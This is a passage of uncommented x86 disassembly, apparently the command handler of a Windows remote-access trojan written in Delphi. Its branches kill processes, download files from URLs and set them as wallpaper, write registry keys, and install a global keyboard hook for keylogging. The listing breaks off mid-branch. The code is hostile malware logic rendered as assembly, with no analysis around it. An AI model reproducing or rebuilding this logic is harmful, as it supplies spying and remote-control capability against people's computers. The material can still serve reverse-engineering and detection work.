call fcn.00404efc
jne 0x49272f
xor eax, eax
push ebp
push 0x492718
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0048c2fc
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 8]
call fcn.0048b69c
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962d8
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492722
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x844c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x844c]
mov edx, 0x4962fc
call fcn.00404efc
jne 0x4927b2
xor eax, eax
push ebp
push 0x49279b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0048c928
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 8]
call fcn.0048b69c
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962d8
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4927a5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8450]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8450]
mov edx, 0x496308
call fcn.00404efc
jne 0x492835
xor eax, eax
push ebp
push 0x49281e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0048c6f8
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 8]
call fcn.0048b69c
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962d8
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492828
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8454]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8454]
mov edx, 0x496314
call fcn.00404efc
jne 0x492910
xor eax, eax
push ebp
push 0x4928a5
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8458]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8458]
call fcn.004092f8
call fcn.0045b538
lea eax, [ebp - 0x38]
call fcn.0045b81c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4928af
cmp dword [ebp - 0x38], 0
jne 0x4928e9
lea eax, [ebp - 0x38]
mov edx, 0x496320
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496160
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x845c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x845c]
mov edx, 0x496330
call fcn.00404efc
jne 0x4929eb
xor eax, eax
push ebp
push 0x492980
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8460]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8460]
call fcn.004092f8
call fcn.0045b598
lea eax, [ebp - 0x38]
call fcn.0045b81c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49298a
cmp dword [ebp - 0x38], 0
jne 0x4929c4
lea eax, [ebp - 0x38]
mov edx, 0x496320
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496160
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8464]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8464]
mov edx, 0x49633c
call fcn.00404efc
jne 0x492abb
xor eax, eax
push ebp
push 0x492a70
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8468]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8468]
call fcn.004092f8
push eax
lea ecx, [ebp - 0x846c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x846c]
pop edx
call fcn.0040967c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492a7a
lea eax, [ebp - 0x38]
mov edx, 0x496120
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x8470]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x8470]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8474]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8474]
mov edx, 0x496348
call fcn.00404efc
jne 0x492b2c
lea ecx, [ebp - 0x8478]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8478]
lea edx, [ebp - 0x38]
call fcn.004897ac
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496178
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x847c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x847c]
mov edx, 0x496354
call fcn.00404efc
jne 0x492baf
xor eax, eax
push ebp
push 0x492b76
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.0048f294
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492b88
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496184
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8480]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8480]
mov edx, 0x496360
call fcn.00404efc
jne 0x492c08
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.004908a8
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x49619c
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8484]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8484]
mov edx, 0x49636c
call fcn.00404efc
jne 0x492cdb
xor eax, eax
push ebp
push 0x492c95
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8488]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8488]
call fcn.004092f8
mov eax, dword [eax*4 + 0x4a5b98]
push eax
push 0xffffffffffffffff
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
lea eax, [ebp - 0x2c]
push eax
push ebx
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x2c]
push eax
push ebx
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492c9f
push 0x12c
call sub.kernel32.dll_Sleep_1
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.004908a8
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x49619c
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x848c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x848c]
mov edx, 0x496378
call fcn.00404efc
jne 0x492f0b
lea ecx, [ebp - 0x8494]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8494]
call fcn.00404fb0
mov edx, eax
lea eax, [ebp - 0x8490]
call fcn.00404cf0
mov ecx, dword [ebp - 0x8490]
lea eax, [ebp - 0x34]
mov edx, 0x496384
call fcn.00404e04
mov eax, 0x4963a8
call fcn.00409574
test al, al
je 0x492e18
xor eax, eax
push ebp
push 0x492e09
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4963c0
lea ecx, [ebp - 0x84a0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84a0]
call fcn.00404fb0
mov edx, eax
lea eax, [ebp - 0x849c]
call fcn.00404cf0
push dword [ebp - 0x849c]
push 0x4963d8
lea eax, [ebp - 0x8498]
mov edx, 3
call fcn.00404e78
mov edx, dword [ebp - 0x8498]
lea eax, [ebp - 0x8358]
call fcn.00402ef4
lea eax, [ebp - 0x8358]
call fcn.00402c90
call fcn.004028ac
mov edx, dword [ebp - 0x34]
lea eax, [ebp - 0x8358]
call fcn.004051cc
call fcn.004037cc
call fcn.004028ac
lea eax, [ebp - 0x8358]
call fcn.00403098
call fcn.004028ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492efe
xor eax, eax
push ebp
push 0x492ef4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4963e8
lea eax, [ebp - 0x84ac]
call fcn.0048fa28
mov eax, dword [ebp - 0x84ac]
call fcn.00404fb0
mov edx, eax
lea eax, [ebp - 0x84a8]
call fcn.00404cf0
push dword [ebp - 0x84a8]
push 0x49640c
lea ecx, [ebp - 0x84b4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84b4]
call fcn.00404fb0
mov edx, eax
lea eax, [ebp - 0x84b0]
call fcn.00404cf0
push dword [ebp - 0x84b0]
push 0x4963d8
lea eax, [ebp - 0x84a4]
mov edx, 5
call fcn.00404e78
mov edx, dword [ebp - 0x84a4]
lea eax, [ebp - 0x8358]
call fcn.00402ef4
lea eax, [ebp - 0x8358]
call fcn.00402c90
call fcn.004028ac
mov edx, dword [ebp - 0x34]
lea eax, [ebp - 0x8358]
call fcn.004051cc
call fcn.004037cc
call fcn.004028ac
lea eax, [ebp - 0x8358]
call fcn.00403098
call fcn.004028ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492efe
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x84b8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84b8]
mov edx, 0x496420
call fcn.00404efc
jne 0x49305b
xor eax, eax
push ebp
push 0x493044
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x458814]
call fcn.00458914
mov dword [ebp - 0x24], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x24]
call fcn.004589b4
xor eax, eax
push ebp
push 0x492fad
push dword fs:[eax]
mov dword fs:[eax], esp
mov cl, 1
mov edx, 0x49642c
mov eax, dword [ebp - 0x24]
call fcn.00458af8
mov ecx, 1
mov edx, 0x496474
mov eax, dword [ebp - 0x24]
call fcn.004590f4
mov eax, dword [ebp - 0x24]
call fcn.00458984
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x492fb4
mov eax, dword [ebp - 0x24]
call fcn.00403d10
ret
lea ecx, [ebp - 0x84c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84c0]
mov edx, 0x4964d0
call fcn.00404efc
jne 0x49322e
xor eax, eax
push ebp
push 0x493217
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x84c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84c4]
lea edx, [ebp - 0x3c]
call fcn.0045a9b4
push 0
push 0
lea eax, [ebp - 0x84cc]
mov edx, dword [0x49ea3c]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x84cc]
call fcn.004092f8
lea edx, [ebp - 0x84c8]
call fcn.0045ad14
lea eax, [ebp - 0x84c8]
mov edx, dword [ebp - 0x3c]
call fcn.00404dc0
mov eax, dword [ebp - 0x84c8]
call fcn.00404fb0
push eax
lea ecx, [ebp - 0x84d0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84d0]
call fcn.00404fb0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
jne 0x49320d
mov dl, 1
mov eax, dword [0x458814]
call fcn.00458914
mov dword [ebp - 0x24], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x24]
call fcn.004589b4
xor eax, eax
push ebp
push 0x493206
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, 0x4964dc
mov eax, dword [ebp - 0x24]
call fcn.00458af8
mov ecx, 0x4964fc
mov edx, 0x496508
mov eax, dword [ebp - 0x24]
call fcn.00459024
lea eax, [ebp - 0x84dc]
mov edx, dword [0x49ea3c]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x84dc]
call fcn.004092f8
lea edx, [ebp - 0x84d8]
call fcn.0045ad14
lea eax, [ebp - 0x84d8]
mov edx, dword [ebp - 0x3c]
call fcn.00404dc0
mov eax, dword [ebp - 0x84d8]
call fcn.00404fb0
mov edx, eax
lea eax, [ebp - 0x84d4]
call fcn.00404cf0
mov ecx, dword [ebp - 0x84d4]
mov edx, 0x496520
mov eax, dword [ebp - 0x24]
call fcn.00459024
push 2
push 0
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
mov eax, dword [ebp - 0x24]
call fcn.00458984
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49320d
mov eax, dword [ebp - 0x24]
call fcn.00403d10
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493221
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x84e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84e0]
mov edx, 0x496534
call fcn.00404efc
jne 0x49338c
xor eax, eax
push ebp
push 0x493375
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x84e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84e8]
call fcn.00404fb0
mov edx, eax
lea eax, [ebp - 0x84e4]
call fcn.00404cf0
mov ecx, dword [ebp - 0x84e4]
lea eax, [ebp - 0x34]
mov edx, 0x496384
call fcn.00404e04
push 0x4963e8
lea eax, [ebp - 0x84f4]
call fcn.0048fa28
mov eax, dword [ebp - 0x84f4]
call fcn.00404fb0
mov edx, eax
lea eax, [ebp - 0x84f0]
call fcn.00404cf0
push dword [ebp - 0x84f0]
push 0x496540
lea ecx, [ebp - 0x84fc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x84fc]
call fcn.00404fb0
mov edx, eax
lea eax, [ebp - 0x84f8]
call fcn.00404cf0
push dword [ebp - 0x84f8]
push 0x4963d8
lea eax, [ebp - 0x84ec]
mov edx, 5
call fcn.00404e78
mov edx, dword [ebp - 0x84ec]
lea eax, [ebp - 0x8358]
call fcn.00402ef4
lea eax, [ebp - 0x8358]
call fcn.00402c90
call fcn.004028ac
mov edx, dword [ebp - 0x34]
lea eax, [ebp - 0x8358]
call fcn.004051cc
call fcn.004037cc
call fcn.004028ac
lea eax, [ebp - 0x8358]
call fcn.00403098
call fcn.004028ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49337f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8500]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8500]
mov edx, 0x496564
call fcn.00404efc
jne 0x4933f2
xor eax, eax
push ebp
push 0x4933db
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
xor edx, edx
call fcn.0042dfe8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4933e5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8504]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8504]
mov edx, 0x496570
call fcn.00404efc
jne 0x4934b9
xor eax, eax
push ebp
push 0x493475
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8508]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8508]
push eax
lea ecx, [ebp - 0x850c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x850c]
lea ecx, [ebp - 0x38]
pop edx
call fcn.00491124
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49347f
cmp dword [ebp - 0x38], 0
jne 0x493492
lea eax, [ebp - 0x38]
mov edx, 0x49657c
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961b8
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8510]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8510]
mov edx, 0x49658c
call fcn.00404efc
jne 0x493580
xor eax, eax
push ebp
push 0x49353c
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8514]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8514]
push eax
lea ecx, [ebp - 0x8518]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8518]
lea ecx, [ebp - 0x38]
pop edx
call fcn.00491310
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493546
cmp dword [ebp - 0x38], 0
jne 0x493559
lea eax, [ebp - 0x38]
mov edx, 0x49657c
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961b8
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x851c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x851c]
mov edx, 0x496598
call fcn.00404efc
jne 0x49361f
cmp dword [0x49e878], 0
jne 0x4935d8
lea eax, [ebp - 0x38]
mov edx, 0x4965a4
call fcn.00404b98
push 0
mov eax, dword [0x49f714]
push eax
push 0x48e7c4
push 0
call sub.user32.dll_SetWindowsHookExA
mov dword [0x49e878], eax
jmp 0x4935e5
lea eax, [ebp - 0x38]
mov edx, 0x4965b4
call fcn.00404b98
cmp dword [ebp - 0x38], 0
jne 0x4935f8
lea eax, [ebp - 0x38]
mov edx, 0x4965c4
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961e4
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8520]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8520]
mov edx, 0x4965d4
call fcn.00404efc
jne 0x4936e4
xor eax, eax
push ebp
push 0x4936a6
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x49e878], 0
je 0x49369c
mov eax, dword [0x49e878]
push eax
call sub.user32.dll_UnhookWindowsHookEx
xor eax, eax
mov dword [0x49e878], eax
mov edx, dword [0x4a5d30]
mov eax, dword [0x4a5d2c]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x4965e0
mov eax, dword [0x4a5d2c]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, 0x4a5d30
call fcn.00404b00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4936b0
lea eax, [ebp - 0x38]
mov edx, 0x496624
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961e4
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8524]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8524]
mov edx, 0x496634
call fcn.00404efc
jne 0x493752
lea edx, [ebp - 0x38]
mov eax, dword [0x4a5d2c]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
cmp dword [ebp - 0x38], 0
jne 0x49372b
lea eax, [ebp - 0x38]
mov edx, 0x49657c
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8528]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8528]
mov edx, 0x496640
call fcn.00404efc
jne 0x4937d9
xor eax, eax
push ebp
push 0x49379b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a5d2c]
mov edx, dword [eax]
call dword [edx + 0x44]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4937a5
lea eax, [ebp - 0x38]
mov edx, 0x49664c
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961e4
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x852c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x852c]
mov edx, 0x49665c
call fcn.00404efc
jne 0x49388f
xor eax, eax
push ebp
push 0x493824
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x38]
call fcn.0045b81c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49382e
cmp dword [ebp - 0x38], 0
jne 0x493868
lea eax, [ebp - 0x38]
mov edx, 0x496320
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496160
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8530]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8530]
mov edx, 0x496668
call fcn.00404efc
jne 0x49396a
xor eax, eax
push ebp
push 0x4938ff
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8534]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8534]
call fcn.004092f8
call fcn.0045b4a4
lea eax, [ebp - 0x38]
call fcn.0045b81c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493909
cmp dword [ebp - 0x38], 0
jne 0x493943
lea eax, [ebp - 0x38]
mov edx, 0x496320
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496160
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8538]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8538]
mov edx, 0x496674
call fcn.00404efc
jne 0x493a45
xor eax, eax
push ebp
push 0x4939da
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x853c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x853c]
